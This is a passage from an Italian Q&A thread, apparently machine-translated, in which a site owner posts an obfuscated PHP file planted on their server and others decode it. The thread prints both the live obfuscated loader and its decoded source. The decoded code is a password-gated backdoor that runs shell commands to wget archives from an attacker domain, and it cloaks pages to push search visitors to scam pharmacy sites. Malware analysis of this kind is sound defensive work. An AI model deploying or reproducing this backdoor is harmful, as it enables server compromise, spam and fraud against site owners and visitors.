2015-05-01 19 views
5

hanno chiunque sentito parlare di questo:astronautico-benchmark.php" copione virus

sceneggiatura astronautico-benchmark.php è stato caricato al mio sito web e ha fatto qualcosa che non ci sono curioso quello che hanno fatto in quanto non erano molto dannoso. hacker e modificati solo il mio file .htaccess, accanto per piantare il file di cui sopra di seguito è riportato il codice, qualcuno sa che cosa lo fa ????

<?php $wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";$osyifa = $wzkaou('$a',strrev(';)a$(lave')); $osyifa(strrev(';))"==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"(edoced_46esab(lave'));?> 
+0

Prova a lavorare sulla logica e a scoprirlo. – Mike

+0

Probabilmente è un errore generale sul lato GoDaddy. Forse puoi aprire un ticket di supporto e chiedere loro. È possibile visualizzare un thread simile su security.stackexchange. http://security.stackexchange.com/questions/90085/godaddy-website-hacked-via-php – az3

+0

È divertente la gente che fa downvoting nel frattempo questo sito è esattamente per questo: discutere del codice. Permette a quelli intelligenti di brillare e non è così intelligente da ottenere le loro risposte e imparare :) O forse sono solo gli hacker che scrivono cose del genere che non vogliono che gli altri sappiano come lo fanno? – Svet

risposta

8

la prima linea abbiamo:.

$wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n"; 

Così possiamo capire che cosa questo fa qui:

echo $wzkaou; // outputs create_function 

La riga successiva abbiamo:

$osyifa = $wzkaou('$a',strrev(';)a$(lave')); 

Poiché sappiamo che $ wzkaou è 'create_function', questa è la funzione di essere chiamato qui. Il primo parametro è '$a' e il secondo parametro è:

echo strrev(';)a$(lave'); // eval($a); 

Quindi sostanzialmente stiamo eseguendo:

create_function('$a', 'eval($a)'); 

L'argomento che viene passato a questa funzione può anche essere determinata in questo modo:

echo strrev(';))"==gCN0XCJoQD9lQCJo[...]dp1Was9VZtlGdfRXZzpQD"(edoced_46esab(lave'); 

E queste uscite:

eval(base64_decode("DQpzZXRfdGltZ[...]JCQl9DQoJCX0NCg==")); 

Infine, quando abbiamo base64_decode() questo, produce:

set_time_limit(0); 

function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){ 
     $ch = curl_init(); 
     curl_setopt ($ch, CURLOPT_URL,$url); 
     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
     curl_setopt ($ch, CURLOPT_TIMEOUT, 30); 
     curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); 
     curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); 
     curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); 
     $result = curl_exec ($ch); 
     curl_close($ch); 
     return $result; 
} 

     $doorcontent=""; 
     [email protected]$_POST["pppp_check"]; 
     $md5pass="e5e4570182820af0a183ce1520afe43b"; 

     [email protected]$_SERVER["HTTP_HOST"]; 
     [email protected]$_SERVER["REQUEST_URI"]; 
     $host=str_replace("www.","",$host); 
     $md5host=md5($host); 
     $urx=$host.$uri; 
     $md5urx=md5($urx); 

     if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();} else {$tmppath = (dirname(__FILE__));} 

     $cdir=$tmppath."/.".$md5host."/"; 



     $domain=base64_decode("ay1maXNoLWthLnJ1"); 

     if ($x!=""){ 
      $p=md5(base64_decode(@$_POST["p"])); 
      if ($p!=$md5pass)return; 

      if (($x=="2")||($x=="4")){ 
       echo "###UPDATING_FILES###\n"; 
       if ($x=="2"){ 
        $cmd="cd $tmppath; rm -rf .$md5host"; 
        echo shell_exec($cmd); 
       } 
       $cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz"; 
       echo shell_exec($cmd); 
       exit; 
      } 
      if ($x=="3"){ 
       echo "###WORKED###\n";exit; 
      } 
     }else{ 
      $curx=$cdir.$md5urx; 
      if (@file_exists($curx)){ 
       @list($IDpack,$mk,$doorcontent)[email protected]("|||",@base64_decode(@file_get_contents($curx))); 
       $bot=0; 
       $se=0; 
       $mobile=0; 
       if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1; 
       if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1; 
       if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1; 
       if ($bot) {echo $doorcontent;exit;} 
       if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;} 

       header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found"); 
       echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n"; 
       echo '<html><head>' . "\n"; 
       echo '<title>404 Not Found</title>' . "\n"; 
       echo '</head><body>' . "\n"; 
       echo '<h1>Not Found</h1>' . "\n"; 
       echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n"; 
       echo '<hr>' . "\n"; 
       echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n"; 
       echo '</body></html>'; 
       exit; 
      }else{ 
       $crurl="http://"[email protected]$_SERVER['HTTP_HOST'][email protected]$_SERVER['REQUEST_URI']; 
       echo get_page_by_curl($crurl); 
      } 
     } 
+0

Wow ... Mike, non pensavo che qualcuno avrebbe dedicato così tanto lavoro a investigare su questo. Impressionante! Fondamentalmente, questo è uno script di dirottamento url, come sospettavo. – Svet

5

Come Mike ha fatto notare, il codice che hai è un poco offuscato (usa di base 64 stringa di codifica e invertire le stringhe/metodi esadecimali di nasconderlo, che sono facili da decodificare) script. È possibile che questi metodi siano stati usati per mantenere intatto lo script (poiché una stringa di testo semplice ha un'alta possibilità di essere distrutta - la codifica di base 64 protegge da questo).

Guardando la versione decodificata, sembrerebbe che fosse uno script caricare la pagina web su k-fish-ka.ru/lp.php al posto della pagina quando un utente normale carica la pagina dal risultato di un motore di ricerca. La navigazione diretta verso la tua pagina non caricherà il sito fasullo al posto tuo, quindi non noterai la differenza a meno che non trovi la tua pagina su un risultato di un motore di ricerca (o falsi l'intestazione http per dire che sei stato reporter da google.com per testare) . Questo è probabilmente il motivo per cui iniettano solo la pagina sui risultati dei motori di ricerca, in modo da nasconderlo dal creatore del sito che di solito accede direttamente al sito web.

La pagina che viene iniettata è di per sé una pagina della farmacia online truffa (non consiglierei di visitare la pagina di origine in quanto potrebbe essere una truffa, ma è quello che c'è). La pagina sembra essere una copia/incolla diretta da un altro sito web www.maximumstoretabs.com (che è probabilmente una truffa stessa), come si può vedere dal messaggio di copyright in fondo alla pagina.

1

Questo script, tra le altre cose, scarica un file compresso, che apparentemente contiene altro malware o qualsiasi altra cosa che vogliono i truffatori.Nel mio caso c'era un mailer php (probabilmente per lo spamming) e tonnellate di email codificate base64 con cose orribili in esse salvate sul path indicato dallo $curx=$cdir.$md5urx;

Questa stessa cosa è successa a un sito che gestisco. I link Joomla di SEF (Search Engine Friendly) hanno smesso di funzionare. Dal momento che richiedono la riscrittura dell'URL.